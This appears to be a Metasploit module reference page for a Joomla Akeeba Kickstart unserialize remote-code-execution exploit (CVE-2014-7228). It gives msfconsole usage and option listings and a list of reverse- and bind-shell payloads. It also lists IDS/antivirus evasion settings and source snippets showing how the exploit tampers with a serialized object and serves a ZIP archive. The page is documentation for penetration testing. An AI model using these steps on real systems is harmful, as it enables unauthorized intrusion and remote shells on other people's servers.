Joomla Akeeba Kickstart Unserialize Remote Code Execution - Metasploit
This page contains detailed information about how to use the exploit/unix/webapp/joomla_akeeba_unserialize metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Joomla Akeeba Kickstart Unserialize Remote Code Execution
Module: exploit/unix/webapp/joomla_akeeba_unserialize
Source code: modules/exploits/unix/webapp/joomla_akeeba_unserialize.rb
Disclosure date: 2014-09-29
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): php
Supported platform(s): PHP
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2014-7228
This module exploits a vulnerability found in Joomla! through 2.5.25, 3.2.5 and earlier 3.x versions and 3.3.0 through 3.3.4 versions. The vulnerability affects the Akeeba component, which is responsible for Joomla! updates. Nevertheless it is worth to note that this vulnerability is only exploitable during the update of the Joomla! CMS.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/unix/webapp/joomla_akeeba_unserialize
msf exploit(joomla_akeeba_unserialize) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the unix/webapp/joomla_akeeba_unserialize exploit module looks in the msfconsole:
msf6 > use exploit/unix/webapp/joomla_akeeba_unserialize
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/joomla_akeeba_unserialize) > show info
Name: Joomla Akeeba Kickstart Unserialize Remote Code Execution
Module: exploit/unix/webapp/joomla_akeeba_unserialize
Platform: PHP
Arch: php
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2014-09-29
Provided by:
Johannes Dahse
us3r777 <[email protected]>
Available targets:
Id Name
-- ----
0 Joomla < 2.5.25 / Joomla 3.x < 3.2.5 / Joomla 3.3.0 < 3.3.4
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTPDELAY 5 no Seconds to wait before terminating web server
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /joomla yes The base path to Joomla
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits a vulnerability found in Joomla! through
2.5.25, 3.2.5 and earlier 3.x versions and 3.3.0 through 3.3.4
versions. The vulnerability affects the Akeeba component, which is
responsible for Joomla! updates. Nevertheless it is worth to note
that this vulnerability is only exploitable during the update of the
Joomla! CMS.
References:
https://nvd.nist.gov/vuln/detail/CVE-2014-7228
http://developer.joomla.org/security/595-20140903-core-remote-file-inclusion.html
https://www.akeebabackup.com/home/news/1605-security-update-sep-2014.html
http://websec.wordpress.com/2014/10/05/joomla-3-3-4-akeeba-kickstart-remote-code-execution-cve-2014-7228/
Module Options
This is a complete list of options available in the unix/webapp/joomla_akeeba_unserialize exploit:
msf6 exploit(unix/webapp/joomla_akeeba_unserialize) > show options
Module options (exploit/unix/webapp/joomla_akeeba_unserialize):
Name Current Setting Required Description
---- --------------- -------- -----------
HTTPDELAY 5 no Seconds to wait before terminating web server
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /joomla yes The base path to Joomla
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Joomla < 2.5.25 / Joomla 3.x < 3.2.5 / Joomla 3.3.0 < 3.3.4
Advanced Options
Here is a complete list of advanced options supported by the unix/webapp/joomla_akeeba_unserialize exploit:
msf6 exploit(unix/webapp/joomla_akeeba_unserialize) > show advanced
Module advanced options (exploit/unix/webapp/joomla_akeeba_unserialize):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the unix/webapp/joomla_akeeba_unserialize module can exploit:
msf6 exploit(unix/webapp/joomla_akeeba_unserialize) > show targets
Exploit targets:
Id Name
-- ----
0 Joomla < 2.5.25 / Joomla 3.x < 3.2.5 / Joomla 3.3.0 < 3.3.4
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the unix/webapp/joomla_akeeba_unserialize exploit:
msf6 exploit(unix/webapp/joomla_akeeba_unserialize) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
4 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
5 payload/php/bind_perl normal No PHP Command Shell, Bind TCP (via Perl)
6 payload/php/bind_perl_ipv6 normal No PHP Command Shell, Bind TCP (via perl) IPv6
7 payload/php/bind_php normal No PHP Command Shell, Bind TCP (via PHP)
8 payload/php/bind_php_ipv6 normal No PHP Command Shell, Bind TCP (via php) IPv6
9 payload/php/download_exec normal No PHP Executable Download and Execute
10 payload/php/exec normal No PHP Execute Command
11 payload/php/meterpreter/bind_tcp normal No PHP Meterpreter, Bind TCP Stager
12 payload/php/meterpreter/bind_tcp_ipv6 normal No PHP Meterpreter, Bind TCP Stager IPv6
13 payload/php/meterpreter/bind_tcp_ipv6_uuid normal No PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
14 payload/php/meterpreter/bind_tcp_uuid normal No PHP Meterpreter, Bind TCP Stager with UUID Support
15 payload/php/meterpreter/reverse_tcp normal No PHP Meterpreter, PHP Reverse TCP Stager
16 payload/php/meterpreter/reverse_tcp_uuid normal No PHP Meterpreter, PHP Reverse TCP Stager
17 payload/php/meterpreter_reverse_tcp normal No PHP Meterpreter, Reverse TCP Inline
18 payload/php/reverse_perl normal No PHP Command, Double Reverse TCP Connection (via Perl)
19 payload/php/reverse_php normal No PHP Command Shell, Reverse TCP (via PHP)
Evasion Options
Here is the full list of possible evasion options supported by the unix/webapp/joomla_akeeba_unserialize exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(unix/webapp/joomla_akeeba_unserialize) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTML::base64 none no Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, random_space_injection)
HTML::javascript::escape 0 no Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode none no Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PEER> - Unexpected response
Here is a relevant code snippet related to the "<PEER> - Unexpected response" error message:
87: }
88: })
89:
90: unless res && res.code == 200 && res.body && res.body =~ /^###\{"status":true.*\}###/
91: print_status("#{res.code}\n#{res.body}")
92: fail_with(Failure::Unknown, "#{peer} - Unexpected response")
93: end
94:
95: # Second step: modify the currentPartNumber within the returned serialized AKFactory
96: json = /###(.*)###/.match(res.body)[1]
97: begin
<PEER> - Unexpected response, cannot parse JSON
Here is a relevant code snippet related to the "<PEER> - Unexpected response, cannot parse JSON" error message:
95: # Second step: modify the currentPartNumber within the returned serialized AKFactory
96: json = /###(.*)###/.match(res.body)[1]
97: begin
98: b64encoded_prepared_factory = JSON.parse(json)['factory']
99: rescue JSON::ParserError
100: fail_with(Failure::Unknown, "#{peer} - Unexpected response, cannot parse JSON")
101: end
102:
103: prepared_factory = Rex::Text.decode_base64(b64encoded_prepared_factory)
104: modified_factory = prepared_factory.gsub('currentPartNumber";i:0', 'currentPartNumber";i:-1')
105:
<PEER> - Unexpected response
Here is a relevant code snippet related to the "<PEER> - Unexpected response" error message:
111: 'factory' => Rex::Text.encode_base64(modified_factory)
112: }
113: })
114:
115: unless res && res.code == 200 && res.body && res.body =~ /^###\{"status":true.*\}###/
116: fail_with(Failure::Unknown, "#{peer} - Unexpected response")
117: end
118:
119: register_files_for_cleanup(php_filename)
120:
121: print_status("Executing payload...")
Sending not found...
Here is a relevant code snippet related to the "Sending not found..." error message:
139: print_status("Sending the ZIP archive...")
140: send_response(cli, @zip, { 'Content-Type' => 'application/zip' })
141: return
142: end
143:
144: print_status("Sending not found...")
145: send_not_found(cli)
146: end
147:
148: def autofilter
149: true
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6526 Merged Pull Request: Peers for the peer god
- #6083 Merged Pull Request: Fix autofilter values for aggressive modules
- #4373 Merged Pull Request: fix invalid URI scheme
References
- CVE-2014-7228
- http://developer.joomla.org/security/595-20140903-core-remote-file-inclusion.html
- https://www.akeebabackup.com/home/news/1605-security-update-sep-2014.html
- http://websec.wordpress.com/2014/10/05/joomla-3-3-4-akeeba-kickstart-remote-code-execution-cve-2014-7228/
See Also
Check also the following modules related to this module:
- exploit/unix/webapp/joomla_comfields_sqli_rce
- exploit/unix/webapp/joomla_comjce_imgmanager
- exploit/unix/webapp/joomla_contenthistory_sqli_rce
- exploit/unix/webapp/joomla_media_upload_exec
- exploit/unix/webapp/joomla_tinybrowser
- auxiliary/admin/http/joomla_registration_privesc
- auxiliary/gather/joomla_com_realestatemanager_sqli
- auxiliary/gather/joomla_contenthistory_sqli
- auxiliary/gather/joomla_weblinks_sqli
- auxiliary/scanner/http/joomla_bruteforce_login
- auxiliary/scanner/http/joomla_ecommercewd_sqli_scanner
- auxiliary/scanner/http/joomla_gallerywd_sqli_scanner
- auxiliary/scanner/http/joomla_pages
- auxiliary/scanner/http/joomla_plugins
- auxiliary/scanner/http/joomla_version
- exploit/multi/http/joomla_http_header_rce
- exploit/multi/http/magento_unserialize
- exploit/multi/http/vbulletin_unserialize
- exploit/unix/webapp/drupal_restws_unserialize
- exploit/linux/http/kaltura_unserialize_cookie_rce
- exploit/linux/http/kaltura_unserialize_rce
- exploit/multi/http/pimcore_unserialize_rce
- exploit/multi/php/php_unserialize_zval_cookie
- exploit/unix/http/laravel_token_unserialize_exec
- exploit/unix/webapp/horde_unserialize_exec
- exploit/unix/webapp/invision_pboard_unserialize_exec
- exploit/unix/webapp/sugarcrm_rest_unserialize_exec
- exploit/unix/webapp/sugarcrm_unserialize_exec
- exploit/unix/webapp/tikiwiki_unserialize_exec
- exploit/unix/webapp/tuleap_rest_unserialize_exec
- exploit/unix/webapp/tuleap_unserialize_exec
Related Nessus plugins:
- Joomla! 2.5.x < 2.5.26 / 3.x < 3.2.6 / 3.3.x < 3.3.5 Multiple Vulnerabilities
- FreeBSD : Joomla! -- Core - Remote File Execution/Denial of Service vulnerabilities (cec4d01a-7ac5-11e5-b35a-002590263bf5)
Authors
- Johannes Dahse
- us3r777 <us3r777[at]n0b0.so>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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